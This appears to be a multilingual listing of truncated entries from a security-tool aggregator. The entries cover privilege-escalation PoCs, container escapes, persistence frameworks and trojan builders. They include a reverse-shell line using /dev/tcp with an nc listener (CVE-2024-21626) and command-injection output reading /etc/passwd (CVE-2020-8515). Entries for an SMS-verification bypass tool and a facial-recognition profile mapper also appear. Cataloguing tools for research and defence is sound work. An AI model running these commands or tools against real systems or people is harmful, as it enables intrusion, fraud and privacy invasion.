baron-samedit

Baron Samedit PoC 설명 이것은 Baron Samedit 취약점CVE-2021-3156에 대한 개념 증명PoC 익스플로잇으로, Ubuntu 20.04에서 sudo 버전 1.8.31 및 glibc 버전 2.31로 테스트되었습니다. 이 익스플로잇은 sudoedit를 사용할 때 sudo의 명령줄 인수 처리에서 힙 기반 버퍼 오버플로우를 이용하여 권한 상승을 달성합니다. 익스플로잇 구성 요소 exploit.asm : 취약점을 트리거하기 위해 인수 및 환경 버퍼를 구성하는 수제 어셈블리 익스플로잇입니다. shellcode....

BlobRunner

BlobRunner BlobRunner는 악성코드 분석 중 추출된 셸코드를 빠르게 디버깅할 수 있는 간단한 도구입니다. BlobRunner는 대상 파일에 메모리를 할당하고 할당된 메모리의 기본또는 오프셋으로 점프합니다. 이를 통해 분석가는 최소한의 오버헤드와 노력으로 추출된 아티팩트를 빠르게 디버깅할 수 있습니다. BlobRunner를 사용하려면 릴리스 페이지에서 컴파일된 실행 파일을 다운로드하거나 아래 단계를 따라 직접 빌드할 수 있습니다. 빌드 실행 파일 빌드는 간단하고 비교적 고통이 없습니다. Windows 요구 사항...

PANIX

PANIX - NIX に対する永続化 PANIX は、セキュリティ研究者、検知エンジニア、ペネトレーションテスター、CTF 愛好家などを対象とした、強力でモジュール式、かつ高度にカスタマイズ可能な Linux 永続化フレームワークです。汎用性を重視して設計された PANIX は、幅広い永続化テクニックの理解と実装に欠かせないツールとして機能します。 特徴 PANIX は、Linux 永続化メカニズムのシミュレーションと研究のための多用途な機能スイートを提供します。 機能| 説明| Root| User ---|---|---|--- at ジョブ永続化|...

dcshadow

!WARNING 本番環境では実行しないでください。これはラボテスト用であり、ブルーチームが IoC、イベントタイプ、および挙動を特定するためのものです。 また、このツールは現状のまま提供されます。あなたが作成したいプルリクエストに対する標準的なレビュー以外のサポートは予定されていません。 Windows ホストから実行しないでください。Linux、または VM（RPC サービスの競合を避けるため）から実行してください。 理論 このプロジェクトは、Mimikatz の dcshadow テクニックの純粋な Python による代替を意図しています。これには、変更された...

ProxyShell

ProxyShell 설치 root@kitploit: git clone https://github.com/ktecv2000/ProxyShell cd ProxyShell virtualenv -p $which python3 venv source venv/bin/activate pip3 install pypsrp cp wsman.py venv/lib//site-packages/pypsrp/wsman.py 사용법 root@kitploit: python3 exploit.py...

Rock-ON

Rock-ON 한 방에 끝내는 킬러 Rock-On은 정찰 프로세스를 가속화하는 올인원 정찰 도구입니다. 정찰의 전체 프로세스를 자동화하고 수동으로 수행하는 데 낭비되는 시간을 절약하는 데 중점을 둡니다. 곧 상세한 블로그가 게시될 예정입니다. UI가 포함된 안정 버전을 기대해 주세요. 기능 1. 서브 도메인 스크래핑 2. A.S.N → Netblocks → IP 찾기 3. 리졸빙 4. 포트 찾기 5. VHost 찾기 6. 디렉토리 찾기 7. 서브 도메인 탈취 찾기 8. 실시간 모니터링이 포함된 자산 추적 9. Slack 푸시 ...

CVE-2015-8543_for_SLE12SP1

$cat /etc/-release root@kitploit: PRETTYNAME="SUSE Linux Enterprise Server 12 SP1" $id root@kitploit: uid=1000jeremysp1 gid=100users groups=100users $sudo sh disablesecurity.sh $gcc exp.c -o exp 2/dev/null $../nsjail/nsjail -Mo --user 0 --group 0 --keepcaps --chroot / -- /bin/sh -i sh-4.2...

trojanizer

TROJANIZER root@kitploit: Version release : v1.1 Stable Author : pedro ubuntu r00t-3xp10it Codename: TroiaRevisited Distros Supported : Ubuntu, Kali, Mint, Parrot OS Suspicious-Shell-Activity SSA RedTeam develop @2017 FRAMEWORK DESCRIPTION root@kitploit: The Trojanizer tool uses WinRAR SFX to...

trojanizer

TROJANIZER root@kitploit: 버전 릴리스 : v1.1 Stable 저자 : pedro ubuntu r00t-3xp10it 코드네임: TroiaRevisited 지원 배포판 : Ubuntu, Kali, Mint, Parrot OS Suspicious-Shell-Activity SSA RedTeam 개발 @2017 프레임워크 설명 root@kitploit: Trojanizer 도구는 WinRAR SFX를 사용하여 사용자가 입력한 두 파일을 압축하고, 이를 SFX 실행 파일.exe 아카이브로 변환합니다. SFX...

CVE-2020-8515

CVE-2020-8515 以前作って転がしてあったDraytek CVE-2020-8515 PoC。 面白いことに、注入したコマンドは2回実行される。以下参照: root@kitploit: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown Linux Vigor3900 2.6.33...

Mistica

Mística --- Mística 로고: JoelGMSec 제작 Mística는 애플리케이션 계층 프로토콜 필드에 데이터를 삽입하여 양방향 통신 채널을 구축할 수 있는 도구입니다. 현재 HTTP, HTTPS, DNS 및 ICMP 프로토콜에 대한 캡슐화가 구현되어 있으며, 가까운 시일 내에 더 많은 프로토콜이 도입될 예정입니다. Mística는 SOTPSimple Overlay Transport Protocol라는 사용자 정의 전송 프로토콜을 기반으로 한 모듈식 설계를 갖추고 있습니다. 데이터는 암호화되고 청크로 분할되어 SO...

CVE-2024-21626

CVE-2024-21626 PoC 要件 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 コンテナイメージを実行し...

CVE-2024-36587

CVE-2024-36587 - dnscrypt-proxy ローカル権限昇格 概要 脆弱性の説明 : dnscrypt-proxy サービスのインストール時、カレントディレクトリ内の実行ファイルを信頼して登録する問題により、悪意のあるバイナリを挿入して権限昇格が可能となる。 影響を受けるバージョン : dnscrypt-proxy v2.0.0-alpha9 v2.1.5 PoC 手法 : バイナリプランティング binary planting 環境構築 root@kitploit: docker compose up --build ビルドおよび実行が完了するとコンテナが作成される...

fake-sms

Fake-SMS 휴대폰 번호 기반 SMS 인증을 프록시 역할을 하는 임시 전화번호를 사용하여 건너뛸 수 있는 간단한 명령줄 도구입니다. 최신 업데이트 : 이 도구는 더 이상 upmasked.com을 사용하지 않습니다. 해당 서비스가 중단되었기 때문입니다. 더 많은 국가에서 더 많은 전화번호를 제공하는 다른 제공업체를 사용하고 있습니다. 컴파일하기 전에 main 브랜치를 pull 해야 합니다. 특징: Go-1.15로 작성됨 모듈 지원 활성화 사용하기 쉬운 대화형 CLI 제공 임시 전화번호 목록을 저장 및 관리하여 기억하고 재사용...

CVE-2019-5736

CVE-2019-5736 参考：cve-2019-5736-poc 1. stage2.cve の poc コマンドを編集する 2. Docker イメージをビルドする docker build -t cve . 3. Docker を実行する docker run -d cve /bin/bash -c "tail -f /dev/null" 4. docker-runc をバックアップする cp /usr/bin/docker-runc /usr/bin/docker-runc.bak 5. docker exec -it docker-id /bin/bash 6. run.sh...

social_mapper

Social Mapper 이 도구는 더 이상 적극적으로 유지 관리되지 않으며, 일부 부분은 여전히 작동할 수 있습니다. 업데이트를 위해 Pull Request를 받겠습니다. 경고: 페이스북은 수백 건의 검색 후 이를 감지합니다. 일회용 페이스북 계정만 사용하세요. Jacob Wilkin Greenwolf이 개발한, 안면 인식을 통해 프로필을 연관시키는 소셜 미디어 매핑 도구입니다. Social Mapper는 대규모로 다양한 사이트에서 안면 인식을 사용하여 소셜 미디어 프로필을 연관시키는 오픈 소스 인텔리전스 도구입니다. 자동화...

ThunderCloud

ThunderCloud クラウドエクスプロイトフレームワーク 使用方法 root@kitploit: python3 tc.py -h | | | | | / | | | | | | | | | | | | | | | | | | | ' | | | | ' \ / |/ \ '| | | |/ | | | |/ | | | | | | | || | | | | | | / | | || | | || | | | / || ||,|| ||,||| ||/ ,|,| usage: tc.py -h -ce COGNITOENDPOINT -reg REGION...

klar

Klar Clair와 Docker Registry 통합 Clair API v1 및 v3 모두 지원 Klar는 Clairhttps://github.com/coreos/clair를 사용하여 개인 또는 공용 Docker 레지스트리에 저장된 이미지의 보안 취약점을 분석하는 간단한 도구입니다. Klar는 통합 도구로 설계되었으므로 환경 변수에 의존합니다. 종속성이 필요 없는 단일 바이너리입니다. Klar는 Docker 레지스트리와 Clair 간의 이미지 검사를 조정하는 클라이언트 역할을 합니다. 바이너리 설치 가장 간단한 방법은...

klar

Klar Integration of Clair and Docker Registry supports both Clair API v1 and v3 Klar is a simple tool to analyze images stored in a private or public Docker registry for security vulnerabilities using Clair https://github.com/coreos/clair. Klar is designed to be used as an integration tool so it...

clamtk

clamtk の Readme 注: このプログラムはもはやメンテナンスされていません。 https://gitlab.com/davem/clamtk/-/issues/144 この README は 20240402 に最終確認または更新されました。 目次: 1. 概要 2. 貢献 3. インストール 4. 使用方法 5. プラグイン 6. トラブルシューティング 7. その他 8. 謝辞 9. 連絡先 概要 clamtk は ClamAV Clam Antivirus のフロントエンドです。Linux システム向けの、使いやすく軽量なオンデマンドスキャナを目的としています。...